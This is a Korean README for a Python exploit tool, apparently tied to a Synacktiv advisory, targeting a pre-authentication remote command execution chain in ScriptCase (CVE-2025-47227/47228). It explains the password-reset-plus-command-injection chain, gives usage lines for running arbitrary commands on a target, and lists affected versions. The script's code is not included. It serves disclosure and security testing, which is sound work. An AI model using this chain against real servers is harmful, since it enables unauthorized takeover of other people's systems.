
ScriptCase 사전 인증 원격 명령 실행 악용 스크립트 (CVE-2025-47227, CVE-2025-47228).
사전 인증 원격 명령 실행은 두 가지 취약점을 연결하여 달성됩니다. 첫 번째는 특정 조건에서 프로덕션 콘솔의 관리자 비밀번호를 재설정할 수 있는 능력이고, 두 번째는 사용자 입력이 ssh 시스템 명령에 직접 연결되는 연결 기능에서의 간단한 인증된 원격 명령 실행입니다.
익스플로잇에 사용되는 타사 Python 의존성은 다음 명령 중 하나로 설치할 수 있습니다:
# pip - universal
pip3 install Pillow pytesseract requests beautifulsoup4
# pacman - Arch Linux
pacman -S python-pillow python-pytesseract python-requests python-beautifulsoup4
여러 시나리오를 처리하도록 익스플로잇 스크립트가 작성되었습니다:
Usage:
Examples:
Pre-Auth RCE (password reset + RCE)
python exploit.py -u http://example.org/scriptcase -c "command"
Password reset only (no auth)
python exploit.py -u http://example.org/scriptcase
RCE only (need account)
python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
Detect deployment path
python exploit.py -u http://example.org/ -d
Options:
-h, --help show this help message and exit
-u BASE_URL, --base-url=BASE_URL
-c COMMAND, --command=COMMAND
-p PASSWORD, --password=PASSWORD
-d, --detect
Production Environment 모듈의 버전 1.0.003-build-2가 영향을 받습니다. 이 모듈 버전은 ScriptCase 버전 9.12.006(23)에 포함되어 있습니다. 이전 버전도 취약할 가능성이 높습니다.
https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution